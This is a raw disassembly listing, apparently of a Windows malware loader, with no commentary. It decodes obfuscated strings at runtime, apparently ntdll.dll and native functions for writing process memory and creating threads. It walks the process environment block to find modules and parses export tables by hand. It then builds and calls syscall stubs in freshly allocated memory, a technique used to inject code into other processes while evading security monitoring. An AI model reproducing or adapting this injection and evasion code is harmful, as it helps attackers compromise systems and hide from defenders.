movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x1400291dd
lea ebx, [rcx + 1]
mov r11d, ebx
mov rdx, qword [rsp + 0x70]
mov r12, qword [rsp + 0x68]
mov ecx, r11d
cmp word [r12 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r12 + r8*2]
mov byte [r9 + r8], al
add r11d, ebx
add r8, rbx
cmp r8, r10
jl 0x1400291aa
mov ebx, reloc.WS2_32.dll_recvfrom
lea r13d, [rbx - 1]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140029236
mov rax, rcx
lea r9, [rbp + 0x79]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002922f
add rax, r11
test edx, edx
jne 0x14002921a
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor r9d, r9d
test dil, dil
jne 0x140029b47
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x14002915b
mov rdi, qword [rsp + 0x70]
mov dword [rbp - 0x68], r9d
mov byte [rbp + 0x530], 0x77
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x531], al
mov r9, rsi
mov r15d, 1
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x532], al
mov r9, rsi
lea r8d, [r15 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x533], al
mov r9, rsi
lea r8d, [r15 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x534], al
mov r9, rsi
lea r8d, [r15 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x535], al
mov r9, rsi
lea r8d, [r15 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x536], al
mov r9, rsi
lea r8d, [r15 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x537], al
mov r9, rsi
lea r8d, [r15 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x538], al
mov r9, rsi
lea r8d, [r15 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x539], al
mov r9, rsi
lea r8d, [r15 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x53a], al
mov r9, rsi
lea r8d, [r15 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x53b], al
mov r9, rsi
lea r8d, [r15 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x53c], al
mov r9, rsi
lea r8d, [r15 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x53d], al
mov r9, rsi
lea r8d, [r15 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x53e], al
mov r9, rsi
lea r8d, [r15 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x53f], al
mov r9, rsi
lea r8d, [r15 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x540], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x541], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x542], al
mov r9, rsi
lea r8d, [r15 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x543], al
mov r9, rsi
lea r8d, [r15 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + 0x544], al
xor eax, eax
mov byte [rbp + 0x545], al
mov ebx, eax
mov r9, rsi
mov r8, rbx
mov dl, byte [rbp + rbx + 0x531]
lea rcx, [rbp + 0x530]
call fcn.1400364e8
mov byte [rbp + rbx + 0x531], al
add rbx, r15
cmp rbx, rsi
jb 0x140029494
mov ebx, reloc.WS2_32.dll_recvfrom
lea r15d, [rbx + 0xf]
xor r14d, r14d
mov byte [rbp + 0x545], r14b
lea r12d, [rbx - 8]
mov byte [rbp + 0x68], r12b
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x68]
call fcn.140035cf8
mov byte [rbp + 0x69], al
mov r9d, r12d
lea r12d, [rbx - 0x10]
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x68]
call fcn.140035cf8
mov byte [rbp + 0x6a], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xf]
mov dl, 0x64
lea rcx, [rbp + 0x68]
call fcn.140035cf8
mov byte [rbp + 0x6b], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xe]
mov dl, 0x6c
lea rcx, [rbp + 0x68]
call fcn.140035cf8
mov byte [rbp + 0x6c], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x68]
call fcn.140035cf8
mov byte [rbp + 0x6d], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x68]
call fcn.140035cf8
mov byte [rbp + 0x6e], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xb]
mov dl, 0x64
lea rcx, [rbp + 0x68]
call fcn.140035cf8
mov byte [rbp + 0x6f], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0x68]
call fcn.140035cf8
mov byte [rbp + 0x70], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 9]
mov dl, 0x6c
lea rcx, [rbp + 0x68]
call fcn.140035cf8
mov byte [rbp + 0x71], al
xor eax, eax
mov byte [rbp + 0x72], al
mov r9d, 9
mov r8, r14
mov dl, byte [rbp + r14 + 0x69]
lea rcx, [rbp + 0x68]
call fcn.140035cf8
mov byte [rbp + r14 + 0x69], al
add r14, r12
cmp r14, 9
jb 0x1400295a2
xor ecx, ecx
mov byte [rbp + 0x72], cl
mov rax, qword gs:[0x60]
test rax, rax
je 0x1400296ed
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x14002966c
lea esi, [rcx + 1]
mov r11d, esi
mov rdx, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x68]
mov ecx, r11d
cmp word [rbx + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rbx + r8*2]
mov byte [r9 + r8], al
add r11d, esi
add r8, rsi
cmp r8, r10
jl 0x14002963d
mov ebx, reloc.WS2_32.dll_recvfrom
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x1400296c5
mov rax, rcx
lea r9, [rbp + 0x69]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400296be
add rax, r11
test edx, edx
jne 0x1400296a9
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
test dil, dil
jne 0x140029d96
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x1400295ee
mov rdi, qword [rsp + 0x70]
xor eax, eax
xor ecx, ecx
cmp dword [rbp - 0x68], ecx
jl 0x14002db77
test eax, eax
js 0x14002db77
mov byte [rbp + 0x2a8], Ordinal_35
mov r9, r13
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + 0x2a9], al
mov r9, r13
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + 0x2aa], al
mov r9, r13
lea r8d, [rsi + 1]
mov dl, 0x43
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + 0x2ab], al
mov r9, r13
lea r8d, [rsi + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + 0x2ac], al
mov r9, r13
lea r8d, [rsi + 3]
mov dl, 0x65
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + 0x2ad], al
mov r9, r13
lea r8d, [rsi + 4]
mov dl, 0x61
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + 0x2ae], al
mov r9, r13
lea r8d, [rsi + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + 0x2af], al
mov r9, r13
lea r8d, [rsi + 6]
mov dl, 0x65
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + 0x2b0], al
mov r9, r13
lea r8d, [rsi + 7]
mov dl, 0x54
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + 0x2b1], al
mov r9, r13
lea r8d, [rsi + 8]
mov dl, 0x68
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + 0x2b2], al
mov r9, r13
lea r8d, [rsi + 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + 0x2b3], al
mov r9, r13
lea r8d, [rsi + 0xa]
mov dl, 0x65
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + 0x2b4], al
mov r9, r13
lea r8d, [rsi + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + 0x2b5], al
mov r9, r13
lea r8d, [rsi + 0xc]
mov dl, 0x64
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + 0x2b6], al
mov r9, r13
lea r8d, [rsi + 0xd]
mov dl, 0x45
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + 0x2b7], al
mov r9, r13
lea r8d, [rsi + 0xe]
mov dl, 0x78
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + 0x2b8], al
xor eax, eax
mov byte [rbp + 0x2b9], al
mov r12d, eax
mov r9, r13
mov r8, r12
mov dl, byte [rbp + r12 + 0x2a9]
lea rcx, [rbp + 0x2a8]
call fcn.140035d70
mov byte [rbp + r12 + 0x2a9], al
add r12, rsi
cmp r12, r13
jb 0x1400298c7
mov esi, reloc.WS2_32.dll_sendto
lea r12d, [rsi + 1]
xor r14d, r14d
mov byte [rbp + 0x2b9], r14b
mov byte [rbp + 0x58], 0x58
lea ebx, [rsi - 0xb]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x58]
call fcn.140035cf8
mov byte [rbp + 0x59], al
mov r9d, ebx
lea ebx, [rsi - 0x13]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x58]
call fcn.140035cf8
mov byte [rbp + 0x5a], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x12]
mov dl, 0x64
lea rcx, [rbp + 0x58]
call fcn.140035cf8
mov byte [rbp + 0x5b], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x11]
mov dl, 0x6c
lea rcx, [rbp + 0x58]
call fcn.140035cf8
mov byte [rbp + 0x5c], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x10]
mov dl, 0x6c
lea rcx, [rbp + 0x58]
call fcn.140035cf8
mov byte [rbp + 0x5d], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xf]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x58]
call fcn.140035cf8
mov byte [rbp + 0x5e], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x58]
call fcn.140035cf8
mov byte [rbp + 0x5f], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x58]
call fcn.140035cf8
mov byte [rbp + 0x60], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x58]
call fcn.140035cf8
mov byte [rbp + 0x61], al
xor eax, eax
mov byte [rbp + 0x62], al
mov r9d, 9
mov r8, r14
mov dl, byte [rbp + r14 + 0x59]
lea rcx, [rbp + 0x58]
call fcn.140035cf8
mov byte [rbp + r14 + 0x59], al
add r14, rbx
cmp r14, 9
jb 0x1400299d5
mov ebx, reloc.WS2_32.dll_recvfrom
xor r9d, r9d
mov byte [rbp + 0x62], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002a24f
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x140029aae
lea r15d, [rcx + 1]
mov r11d, r15d
mov rdx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov ecx, r11d
cmp word [rsi + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + r8*2]
mov byte [r8 + r9], al
add r11d, r15d
add r8, r15
cmp r8, r10
jl 0x140029a78
mov ebx, reloc.WS2_32.dll_recvfrom
lea esi, [rbx + 3]
lea r15d, [rbx + 0xf]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140029b07
mov rax, rcx
lea r9, [rbp + 0x59]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140029b00
add rax, r11
test edx, edx
jne 0x140029aeb
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor r9d, r9d
test dil, dil
jne 0x140029fd9
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x140029a28
jmp 0x14002a24a
mov edx, dword [rdx + 0x14]
sub rdx, rcx
add rdx, qword [r9]
add rdx, qword [rbp + 0xbc8]
jmp 0x140028d3a
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002925c
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002925c
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002925c
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002925c
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x14002925c
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x519]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140029bd8
inc rax
test edi, edi
jne 0x140029bc3
xor r9d, r9d
test r8d, r8d
je 0x140029bee
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x140029bb2
jmp 0x14002925c
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002925c
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002925c
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x80], rax
call fcn.140094c90
or dword [rbp + 0x1be54], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1aad0]
call fcn.140036bc4
lea rcx, [rbp + 0x1aad0]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
mov edi, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x1aad0]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x34490], rax
add rdi, r14
cmp rdi, 0x200
jl 0x140029c94
mov rdi, qword [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x34490]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe2c], eax
lea r9, [rbp + 0xe2c]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x218]
mov r8, qword [rbp - 0x68]
mov rdx, qword [rbp + 0xbd0]
mov rcx, qword [rbp - 0x20]
call rdi
mov dword [rbp - 0x68], eax
lea r9, [rbp + 0xe2c]
mov r8d, dword [rbp + 0xe2c]
mov edx, 0x1000
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bcba0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
mov rdi, qword [rsp + 0x70]
jmp 0x140029265
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x1400296e8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140029e28
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140029e28
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140029e28
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140029e28
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x531]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140029e18
inc rax
test edi, edi
jne 0x140029e03
xor edi, edi
test r8d, r8d
je 0x140029e34
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x140029df2
mov eax, edi
mov rdi, qword [rsp + 0x70]
jmp 0x1400296ef
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140029e28
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140029e28
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x80], rax
call fcn.140094c90
or dword [rbp + 0x1d1e4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1be60]
call fcn.140036bc4
lea rcx, [rbp + 0x1be60]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0x1be60]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x35490], rax
add rdi, r15
cmp rdi, 0x200
jl 0x140029ed0
mov r15d, reloc.WLDAP32.dll_Ordinal_32
mov rdi, qword [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x35490]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe28], eax
lea r9, [rbp + 0xe28]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [r15 + 0x13]
lea r8, [rbp + 0x28200]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x20]
call rdi
mov dword [rsp + 0x60], eax
lea r9, [rbp + 0xe28]
mov r8d, dword [rbp + 0xe28]
mov edx, 0x1000
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bcba0
lea edx, [r15 - 0x15]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
mov rdi, qword [rsp + 0x70]
mov eax, dword [rsp + 0x60]
jmp 0x1400296ef
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002a24a
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002a24a
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002a24a
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002a24a
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x14002a24a
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x2a9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002a06a
inc rax
test edi, edi
jne 0x14002a055
test r8d, r8d
je 0x14002a07d
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x14002a044
jmp 0x14002a24a
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002a24a
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002a24a
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
call fcn.140094c90
or dword [rbp + 0x98e4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x8560]
call fcn.140036bc4
lea rcx, [rbp + 0x8560]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
mov edi, eax
lea r13d, [rax + 1]
lea rcx, [rbp + 0x8560]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x36490], rax
add rdi, r13
cmp rdi, 0x200
jl 0x14002a124
mov r13d, reloc.WS2_32.dll_recv
mov rdi, qword [rsp + 0x78]
mov r8d, 0x1000
lea rdx, [rbp + 0x36490]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe24], eax
lea r9, [rbp + 0xe24]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x20]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0xce0]
call rdi
mov edi, eax
lea r9, [rbp + 0xe24]
mov r8d, dword [rbp + 0xe24]
mov edx, 0x1000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rsp + 0x78]
call fcn.1400bcba0
lea edx, [r13 - 5]
mov r8d, 0x8000
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
test edi, edi
js 0x14002d6e1
mov rdi, qword [rsp + 0x70]
mov rax, qword [rbp + 0xce0]
mov qword [rbp + 0x218], rax
cmp rax, 0xffffffffffffffff
je 0x14002d6e1
mov byte [rbp + 0x6c8], 8
mov r9, r12
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6c9], al
mov r9, r12
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6ca], al
mov r9, r12
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6cb], al
mov r9, r12
mov r8d, 3
mov dl, 0x61
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6cc], al
mov r9, r12
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6cd], al
mov r9, r12
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6ce], al
mov r9, r12
mov r8d, 6
mov dl, 0x46
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6cf], al
mov r9, r12
mov r8d, 7
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x6c8]
call fcn.140035ed8
mov byte [rbp + 0x6d0], al
mov r9, r12
mov r8d, 8
